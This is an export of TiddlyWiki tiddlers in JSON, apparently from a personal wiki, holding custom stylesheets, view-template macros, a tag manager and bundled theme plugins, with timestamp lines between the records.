{"created":"20230108190740128","creator":"Octt","text":"\\define --HeadingColor0() #c061cb;\n\n\\define sidebarbreakpoint()\n\u003C$text text={{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}/>\n\\end\n\n\\define if-fluid-fixed(text,hiddenSidebarText)\n\u003C$reveal state=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\" type=\"match\" text=\"fluid-fixed\">\n$text$\n\u003C$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">\n$hiddenSidebarText$\n\u003C/$reveal>\n\u003C/$reveal>\n\\end\n\ndd:before { content: '»'; margin-right: 8px; }\ndl { margin-left: 8px; }\ndl dd { margin-left: 24px; }\n\n@media (min-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable {\n padding-left: 0px;\n padding-right: 0px;\n }\n .tc-story-river {\n padding: {{$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding}};\n }\n .tc-tiddler-frame {\n padding: 20px /*24px 32px 24px 32px*/;\n margin-bottom: 20px;\n }\n\n\u003C\u003Cif-fluid-fixed text:\"\"\"\n .tc-story-river {\n margin-right: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n }\n\"\"\" hiddenSidebarText:\"\"\"\n .tc-story-river {\n margin-right: 0px;\n padding-right: 24px;\n }\n\"\"\">>\n}\n\nDiv.View-Breadcrumbs\n{ margin: 4px; padding: 4px; }\n\n.tc-story-river { padding-bottom: 0px; }\n.tc-story-river ~ p { display: none; }\n\n.tc-tiddler-frame,\n.tc-tiddler-body p iframe {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n\n.tc-tiddler-body p iframe { Border: None; }\n.tc-tiddler-frame { border-radius: 4px; }\n.tc-modal-body { max-height: 75vh /*60vh*/; }\n\n.tc-sidebar-scrollable .tc-sidebar-tabs-main .tc-more-sidebar .tc-tab-content { overflow: visible; }\n\n/* Large tag selection menu, optimized for desktop + nicer tag button */\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown {\n position: revert;\n white-space: revert;\n}\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown a {\n display: inline-block;\n border-radius: 1em;\n}\n\n.DirList-Title, .DirList-Title * { Font-Style: Normal !Important; }\n.Separator-Right:last-of-type { Display: None; }\n\n.StartHere-Button {\n font-size: x-large /*smaller*/;\n text-decoration: none !important;\n user-select: none;\n}\n.StartHere-Button > img {\n width: 122px;\n image-rendering: pixelated;\n}\n.StartHere-Button > span {\n position: relative;\n top: -20px /*-10px*/;\n}\n\nImg.Img90, .Img90 Img {\n Max-Width: 90%;\n Max-Height: 90vh;\n}\n\n.tc-sidebar-scrollable .tc-sidebar-header .tc-page-controls .tc-popup .tc-drop-down { min-width: auto; }\n\n.tc-story-river > .tc-tiddler-frame .tc-subtitle { margin: 4px; padding: 4px; }\n\n.tc-topbar.tc-topbar-right {\n right: 8px;\n top: unset;\n bottom: 8px;\n}\n.tc-topbar.tc-topbar-right > button {\n background: RGBA(0,0,0,0.64);\n border-radius: 4px;\n}\n.tc-topbar.tc-topbar-right > button > svg > g { fill: white; }\n\ninput[type=\"range\"] { min-width: 8em; }\n\ninput.Edit-Text-Full { width: 100% !important; }\n","tags":"$:/tags/Stylesheet","title":"$:/Styles/Main","modified":"20230206220615125","modifier":"Octt"},
2023-01-10 18:31:44 +00:00
{"created":"20150924065447163","text":".tc-tiddler-frame .tc-titlebar button {\nopacity: 0;\ntransition: opacity .5s ease-in-out;\n}\n.tc-tiddler-frame:hover .tc-titlebar button {\nzoom: 1;\nfilter: alpha(opacity=100);\nopacity: 1;\n}","bag":"default","revision":"0","type":"text/css","title":"$:/Styles/onhover-toolbar-styles.css","tags":"","modifier":"Tobias Beer","modified":"20230110175248723","creator":"Tobias Beer"},
2023-02-02 19:49:55 +00:00
{"created":"20230202093634199","creator":"Octt","text":"/* This has to be redone basically from scratch because there are issues with position:fixed without editing the tiddler frame z-index, which can't be done via CSS only (no parent selector) */\n\ninput.PIP-Select, input.PIP-Select+label, div.PIP-Select > input, div.PIP-Select > label, div.PIP-Select > span { width: 1.25em; height: 1.25em; font-size: 1.50em; vertical-align: middle; }\n\n/*\ninput[type=\"radio\"].PIP-Select[value=\"↗️\"]:checked ~ div { border: 3px solid red; }\ninput[type=\"radio\"].PIP-Select[value=\"↘️\"]:checked ~ div { border: 3px solid blue; }\n*/\n\n/* Set PIP properties common to all position */\n/*\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked,\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input,\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ label,\n*/\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input[type=\"radio\"].PIP-Select[value=\"❎\"],\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ div {\n position: fixed;\n z-index: 99999;\n top: 0px;\n right: 0px;\n}\n\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input[type=\"radio\"].PIP-Select[value=\"❎\"] { z-index: 100001; }\n\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ div {\n /*height: 100vh;*/\n width: 50vw;\n background: white;\n}\n","tags":"$:/tags/Stylesheet","title":"$:/Styles/PIP.css","modified":"20230202194628022","modifier":"Octt","type":"text/css"},
2023-01-13 23:13:05 +00:00
{"created":"20230108212828635","text":"\u003C!-- TOP RIGHT RIBBON --->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"https://hub.octt.eu.org\">Visit the Octt Hub 🌐\u003C/a>\u003C/div>\u003C/div>","tags":"$:/tags/PageControls","title":"$:/Styles/Ribbon.xml","modified":"20230113220939942","type":""},
2023-01-29 13:17:12 +00:00
{"created":"20230124190137826","creator":"Octt","text":"\\whitespace trim\n\u003C!-- \u003C\u003C%ViewBreadcrumbs>> -->\n\u003C\u003Ci18nBreadcrumbsNamespaceLabelStrip>>","tags":"$:/tags/ViewTemplate","title":"$:/Styles/View/2-10-Breadcrumbs.xml","modified":"20230129122904644","modifier":"Octt","list-after":"$:/core/ui/ViewTemplate/title"},
2023-01-29 16:36:57 +00:00
{"created":"20230111090705398","creator":"Octt","text":"\\whitespace trim\n\n\u003C$list filter=\"[all[current]!is[system]is[missing]]\" variable=~>\n\u003C!-- \u003C$list filter=\"[all[current]is[missing]]\" variable=~> -->\n \u003C$button>\n Great features todo!\n\u003C!--\n \u003C$action-setfield object-type=\"todo\"/>\n Make Todo\n--->\n \u003C/$button>\n\n \u003Cbr>\u003Cbr>\n\n \u003Cdetails>\n \u003Csummary>\n Directory Listing\n \u003C/summary>\n \u003C!-- \u003C$macrocall $name=\"tree_\" prefix=\u003C\u003C__currentTiddler__>>/> -->\n \u003C!-- \u003C$macrocall $name=\"tree_\" prefix={{{[\u003CcurrentTiddler>append[/]]}}}/> -->\n \u003C!-- \u003C\u003CDirTreeList>> -->\n \u003C/details>\n\n\u003C/$list>","tags":"$:/tags/ViewTemplate","title":"$:/Styles/View/9-10-Missing.xml","modified":"20230129160622799","modifier":"Octt"},
2023-01-25 13:17:38 +00:00
{"created":"20230111080904175","creator":"Octt","text":"\u003C$list filter=\"[all[current]backlinks[]limit[1]has[title]]-[prefix[$:/temp/]]\" variable=ignore>\n\u003Cdiv class=\"Backlinks-Div tc-subtitle\">\n\u003Chr>\nSee also: \u003C$list filter=\"[!is[system]all[current]backlinks[]sort[title]] -[is[current]]-[prefix[$:/temp/]]\">\u003C$link />\u003Cspan class=\"Separator-Right\"> | \u003C/span>\u003C/$list>\n\u003C/div>\n\u003C/$list>\n","tags":"$:/tags/ViewTemplate","title":"$:/Styles/View/9-50-Backlinks.xml","modified":"20230125115456476","modifier":"Octt"},
2023-01-24 19:45:38 +00:00
{"created":"20230124112022156","creator":"Octt","text":"\u003C!--\n\u003C\u003Cscript off>>\n\u003Cscript>\n/*\n\u003C$text text=\u003C\u003CcurrentTiddler>>/>\n*/\n/*\ndocument.querySelector('.tc-story-river > div[data-tiddler-title=\"\"]')\nconsole.log();\n*/\n\u003C/script>\n\u003C\u003Cscript off>>\n-->\n\u003C!--\u003C\u003CTiddlerViewShowBreadcrumbs>>-->","tags":"","title":"$:/Styles/View/9-99-Hacks","modified":"20230124191516599","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230206111346157","creator":"Octt","text":"\\define lingo-base() $:/language/TagManager/\n\\define iconEditorTab(type)\n\\whitespace trim\n\u003C$link to=\"\">\u003C\u003Clingo Icons/None>>\u003C/$link>\n\u003C$list filter=\"[all[shadows+tiddlers]is[image]] [all[shadows+tiddlers]tag[$:/tags/Image]] -[type[application/pdf]] +[sort[title]] +[$type$is[system]]\">\n\u003C$link to={{!!title}}>\n\u003C$transclude/> \u003C$view field=\"title\"/>\n\u003C/$link>\n\u003C/$list>\n\\end\n\\define iconEditor(title)\n\\whitespace trim\n\u003Cdiv class=\"tc-drop-down-wrapper\">\n\u003C$button popupTitle={{{ [[$:/state/popup/icon/]addsuffix\u003C__title__>] }}} class=\"tc-btn-invisible tc-btn-dropdown\">{{$:/core/images/down-arrow}}\u003C/$button>\n\u003C$reveal stateTitle={{{ [[$:/state/popup/icon/]addsuffix\u003C__title__>] }}} type=\"popup\" position=\"belowleft\" text=\"\" default=\"\">\n\u003Cdiv class=\"tc-drop-down\">\n\u003C$linkcatcher actions=\"\"\"\u003C$action-setfield $tiddler=\u003C\u003C__title__>> icon=\u003C\u003CnavigateTo>>/>\"\"\">\n\u003C\u003CiconEditorTab type:\"!\">>\n\u003Chr/>\n\u003C\u003CiconEditorTab type:\"\">>\n\u003C/$linkcatcher>\n\u003C/div>\n\u003C/$reveal>\n\u003C/div>\n\\end\n\\define toggleButton(state)\n\\whitespace trim\n\u003C$reveal stateTitle=\u003C\u003C__state__>> type=\"match\" text=\"closed\" default=\"closed\">\n\u003C$button setTitle=\u003C\u003C__state__>> setTo=\"open\" class=\"tc-btn-invisible tc-btn-dropdown\" selectedClass=\"tc-selected\">\n{{$:/core/images/info-button}}\n\u003C/$button>\n\u003C/$reveal>\n\u003C$reveal stateTitle=\u003C\u003C__state__>> type=\"match\" text=\"open\" default=\"closed\">\n\u003C$button setTitle=\u003C\u003C__state__>> setTo=\"closed\" class=\"tc-btn-invisible tc-btn-dropdown\" selectedClass=\"tc-selected\">\n{{$:/core/images/info-button}}\n\u003C/$button>\n\u003C/$reveal>\n\\end\n\\whitespace trim\n\u003Ctable class=\"tc-tag-manager-table\">\n\u003Ctbody>\n\u003Ctr>\n\u003Cth>\u003C\u003Clingo Colour/Heading>>\u003C/th>\n\u003Cth class=\"tc-tag-manager-tag\">\u003C\u003Clingo Tag/Heading>>\u003C/th>\n\u003Cth>\u003C\u003Clingo Count/Heading>>\u003C/th>\n\u003Cth>\u003C\u003Clingo Icon/Heading>>\u003C/th>\n\u003Cth>\u003C\u003Clingo Info/Heading>>\u003C/th>\n\u003C/tr>\n\u003C$list filter=\"[tags[]!is[system]sort[title]]\">\n\u003Ctr>\n\u003Ctd>\u003C$edit-text field=\"color\" tag=\"input\" type=\"color\"/>\u003C/td>\n\u003Ctd>{{||$:/core/ui/TagTemplate}}\u003C/td>\n\u003Ctd>\u003C$count filter=\"[all[current]tagging[]]\"/>\u003C/td>\n\u003Ctd>\n\u003C$macrocall $name=\"iconEditor\" title={{!!title}}/>\n\u003C/td>\n\u003Ctd>\n\u003C$macrocall $name=\"toggleButton\" state={{{ [[$:/state/tag-manager/]addsuffix\u003CcurrentTiddler>] }}} /> \n\u003C/td>\n\u003C/tr>\n\u003Ctr>\n\u003Ctd>\u003C/td>\n\u003Ctd colspan=\"4\">\n\u003C$reveal stateTitle={{{ [[$:/state/tag-manager/]addsuffix\u003CcurrentTiddler>] }}} type=\"match\" text=\"open\" default=\"\">\n\u003Ctable>\n\u003Ctbody>\n\u003Ctr>\u003Ctd>\u003C\u003Clingo Colour/Heading>>\u003C/td>\u003Ctd>\u003C$edit-text field=\"color\" tag=\"input\" type=\"text\" size=\"9\"/>\u003C/td>\u003C/tr>\n\u003Ctr>\u003Ctd>\u003C\u003Clingo Icon/Heading>>\u003C/td>\u003Ctd>\u003C$edit-text field=\"icon\" tag=\"input\" size=\"45\"/>\u003C/td>\u003C/tr>\n\u003C/tbody>\n\u003C/table>\n\u003C/$reveal>\n\u003C/td>\n\u003C/tr>\n\u003C/$list>\n\u003Ctr>\n\u003Ctd>\u003C/td>\n\u003Ctd style=\"position:relative;\">\n{{$:/core/ui/UntaggedTemplate}}\n\u003C/td>\n\u003Ctd>\n\u003Csmall class=\"tc-menu-list-count\">\u003C$count filter=\"[untagged[]!is[system]] -[tags[]]\"/>\u003C/small>\n\u003C/td>\n\u003Ctd>\u003C/td>\n\u003Ctd>\u003C/td>\n\u003C/tr>\n\u003C/tbody>\n\u003C/table>\n","title":"$:/TagManager","icon":"$:/core/images/tag-button","color":"#bbb","modified":"20230206111348063","modifier":"Octt","tags":"$:/Tools"},
2022-11-09 16:46:40 +00:00
{"created":"20221104182610250","title":"$:/tags/ViewToolbar","list":"$:/core/ui/Buttons/more-tiddler-actions $:/core/ui/Buttons/info $:/core/ui/Buttons/new-here $:/core/ui/Buttons/new-journal-here $:/core/ui/Buttons/clone $:/core/ui/Buttons/export-tiddler $:/core/ui/Buttons/delete $:/core/ui/Buttons/fold $:/core/ui/Buttons/permalink $:/plugins/tiddlywiki/text-slicer/ui/slice-toolbar-button $:/core/ui/Buttons/edit $:/core/ui/Buttons/permaview $:/core/ui/Buttons/open-window $:/core/ui/Buttons/close-others $:/plugins/tiddlywiki/qrcode/ViewToolbarButton $:/core/ui/Buttons/close $:/core/ui/Buttons/fold-others $:/core/ui/Buttons/fold-bar","modified":"20221109160746501"},
2023-01-25 22:30:40 +00:00
{"created":"20230125161006034","creator":"Octt","text":"\\define t0(Tiddler)\n\u003C\u003Cscript off>>\n\u003Cscript>\n(function(){\ntry {\n\nvar Languages = eval(decodeURIComponent('%24tw.wiki.getTiddler(\"%24:/i18n\")')).fields.Languages.split(' ');\nvar Tiddler = '$Tiddler$';\nvar Select = '.tc-story-river > div[data-tiddler-title=\"' + Tiddler + '\"] > .View-Breadcrumbs > span:last-of-type';\nvar List = document.querySelectorAll(Select);\nfor (var i=0; i \u003C List.length; i++) {\n var Name = List[i].innerHTML;\n if (Languages.includes(Name.trim().toLowerCase().split(':').slice(-1)[0])) {\n List[i].innerHTML = Name.split(\":\").slice(0,-1);\n };\n};\n\n} catch(e) {\n ErrAtLine(e);\n};\n})();\n\u003C/script>\n\u003C\u003Cscript off>>\n\\end\n\n\u003C\u003Ct0 \"Eruda:en\">>","tags":"","title":"$:/Tests","modified":"20230125221016708","modifier":"Octt"},
2022-09-20 14:28:28 +00:00
{"created":"20220920090408942","title":"$:/theme","text":"$:/themes/tiddlywiki/starlight","modified":"20220920114731805"},
{"title":"$:/themes/tiddlywiki/snowwhite","name":"Snow White","author":"JeremyRuston","core-version":">=5.0.0","plugin-type":"theme","description":"Emphasises individual tiddlers","dependents":"$:/themes/tiddlywiki/vanilla","plugin-priority":"0","version":"5.2.3","type":"application/json","text":"{\"tiddlers\":{\"$:/themes/tiddlywiki/snowwhite/base\":{\"title\":\"$:/themes/tiddlywiki/snowwhite/base\",\"tags\":\"[[$:/tags/Stylesheet]]\",\"text\":\"\\\\define sidebarbreakpoint-minus-one()\\n\u003C$text text={{{ [{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}removesuffix[px]subtract[1]addsuffix[px]] ~[{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}] }}}/>\\n\\\\end\\n\\n\\\\rules only filteredtranscludeinline transcludeinline macrodef macrocallinline\\n\\n.tc-sidebar-header {\\n\\ttext-shadow: 0 1px 0 \u003C\u003Ccolour sidebar-foreground-shadow>>;\\n}\\n\\n.tc-tiddler-info {\\n\\t\u003C\u003Cbox-shadow \\\"inset 1px 2px 3px rgba(0,0,0,0.1)\\\">>\\n}\\n\\n@media screen {\\n\\t.tc-tiddler-frame {\\n\\t\\t\u003C\u003Cbox-shadow \\\"1px 1px 5px rgba(0, 0, 0, 0.3)\\\">>\\n\\t}\\n}\\n\\n@media (max-width: \u003C\u003Csidebarbreakpoint-minus-one>>) {\\n\\t.tc-tiddler-frame {\\n\\t\\t\u003C\u003Cbox-shadow none>>\\n\\t}\\n}\\n\\n.tc-page-controls button svg, .tc-tiddler-controls button svg, .tc-topbar button svg {\\n\\t\u003C\u003Ctransition \\\"fill 150ms ease-in-out\\\">>\\n}\\n\\n.tc-tiddler-controls button.tc-selected,\\n.tc-page-controls button.tc-selected {\\n\\t\u003C\u003Cfilter \\\"drop-shadow(0px -1px 2px rgba(0,0,0,0.25))\\\">>\\n}\\n\\n.tc-tiddler-frame input.tc-edit-texteditor,\\n.tc-tiddler-frame select.tc-edit-texteditor {\\n\\t\u003C\u003Cbox-shadow \\\"inset 0 1px 8px rgba(0, 0, 0, 0.15)\\\">>\\n}\\n\\n.tc-edit-tags {\\n\\t\u003C\u003Cbox-shadow \\\"inset 0 1px 8px rgba(0, 0, 0, 0.15)\\\">>\\n}\\n\\n.tc-tiddler-frame .tc-edit-tags input.tc-edit-texteditor {\\n\\t\u003C\u003Cbox-shadow \\\"none\\\">>\\n\\tborder: none;\\n\\toutline: none;\\n}\\n\\ntextarea.tc-edit-texteditor {\\n\\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/editorfontfamily}};\\n}\\n\\ncanvas.tc-edit-bitmapeditor {\\n\\t\u003C\u003Cbox-shadow \\\"2px 2px 5px rgba(0, 0, 0, 0.5)\\\">>\\n}\\n\\n.tc-drop-down {\\n\\tborder-radius: 4px;\\n\\t\u003C\u003Cbox-shadow \\\"2px 2px 10px rgba(0, 0, 0, 0.5)\\\">>\\n}\\n\\n.tc-block-dropdown {\\n\\tborder-radius: 4px;\\n\\t\u003C\u003Cbox-shadow \\\"2px 2px 10px rgba(0, 0, 0, 0.5)\\\">>\\n}\\n\\n.tc-modal {\\n\\tborder-radius: 6px;\\n\\t\u003C\u003Cbox-shadow \\\"0 3px 7px rgba(0,0,0,0.3)\\\">>\\n}\\n\\n.tc-modal-footer {\\n\\tborder-radius: 0 0 6px 6px;\\n\\t\u003C\u003Cbox-shadow \\\"inset 0 1px 0 #fff\\\">>;\\n}\\n\\n\\n.tc-alert {\\n\\tborder-radius: 6px;\\n\\t\u003C\u003Cbox-shadow \\\"0 3px 7px rgba(0,0,0,0.6)\\\">>\\n}\\n\\n.tc-notification {\\n\\tborder-radius: 6px;\\n\\t\u003C\u003Cbox-shadow \\\"0 3px 7px rgba(0,0,0,0.3)\\\">>\\n\\ttext-shadow: 0 1px 0 rgba(255,255,255, 0.8);\\n}\\n\\n.tc-sidebar-lists .tc-tab-set .tc-tab-divider {\\n\\tborder-top: none;\\n\\theight: 1px;\\n\\t\u003C\u003Cbackground-linear-gradient \\\"left, rgba(0,0,0,0.15) 0%, rgba(0,0,0,0.0) 100%\\\">>\\n}\\n\\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button {\\n\\t\u003C\u003Cbackground-linear-gradient \\\"left, rgba(0,0,0,0.01) 0%, rgba(0,0,0,0.1) 100%\\\">>\\n}\\n\\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button.tc-tab-selected {\\n\\t\u003C\u003Cbackground-linear-gradient \\\"left, rgba(0,0,0,0.05) 0%, rgba(255,255,255,0.05) 100%\\\">>\\n}\\n\\n.tc-message-box img {\\n\\t\u003C\u003Cbox-shadow \\\"1px 1px 3px rgba(0,0,0,0.5)\\\">>\\n}\\n\\n.tc-plugin-info {\\n\\t\u003C\u003Cbox-shadow \\\"1px 1px 3px rgba(0,0,0,0.5)\\\">>\\n}\\n\"}}}"},
{"title":"$:/themes/tiddlywiki/starlight","name":"Starlight","author":"JeremyRuston","core-version":">=5.0.0","plugin-type":"theme","description":"Example alternative theme","dependents":"$:/themes/tiddlywiki/snowwhite","version":"5.2.3","type":"application/json","text":"{\"tiddlers\":{\"$:/themes/tiddlywiki/starlight/arvo.woff\":{\"title\":\"$:/themes/tiddlywiki/starlight/arvo.woff\",\"text\":\"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
2023-01-10 23:03:54 +00:00
{"created":"20230110204807987","text":"\u003C!--\nDemo of a control panel tab dynamically loaded with a theme.\n--->\n{{$:/OcttKB/Tweaks/Starlight.cfg}}","title":"$:/themes/tiddlywiki/starlight/themetweaks","tags":"$:/tags/ControlPanel/Appearance","caption":"Star Tweaks","modified":"20230110205238423"},
2023-01-10 17:13:28 +00:00
{"created":"20221108194501463","text":"{\"tiddlers\":{\"$:/themes/tiddlywiki/vanilla/themetweaks\":{\"title\":\"$:/themes/tiddlywiki/vanilla/themetweaks\",\"tags\":\"$:/tags/ControlPanel/Appearance\",\"caption\":\"{{$:/language/ThemeTweaks/ThemeTweaks}}\",\"text\":\"\\\\define lingo-base() $:/language/ThemeTweaks/\\n\\n\\\\define replacement-text()\\n[img[$(imageTitle)$]]\\n\\\\end\\n\\n\\\\define backgroundimage-dropdown()\\n\u003Cdiv class=\\\"tc-drop-down-wrapper\\\">\\n\u003C$set name=\\\"state\\\" value=\u003C\u003Cqualify \\\"$:/state/popup/themetweaks/backgroundimage\\\">>>\\n\u003C$button popup=\u003C\u003Cstate>> class=\\\"tc-btn-invisible tc-btn-dropdown\\\">{{$:/core/images/down-arrow}}\u003C/$button>\\n\u003C$reveal state=\u003C\u003Cstate>> type=\\\"popup\\\" position=\\\"belowleft\\\" text=\\\"\\\" default=\\\"\\\" class=\\\"tc-popup-keep\\\">\\n\u003Cdiv class=\\\"tc-drop-down\\\" style=\\\"text-align:center;\\\">\\n\u003C$macrocall $name=\\\"image-picker\\\" actions=\\\"\\\"\\\"\\n\\n\u003C$action-setfield\\n\\t$tiddler=\\\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\\\"\\n\\t$value=\u003C\u003CimageTitle>>\\n/>\\n\\n\u003C$action-deletetiddler $tiddler=\u003C\u003Cstate>>/>\\n\\n\\\"\\\"\\\"/>\\n\u003C/div>\\n\u003C/$reveal>\\n\u003C/$set>\\n\u003C/div>\\n\\\\end\\n\\n\\\\define backgroundimageattachment-dropdown()\\n\u003C$select tiddler=\\\"$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment\\\" default=\\\"scroll\\\">\\n\u003Coption 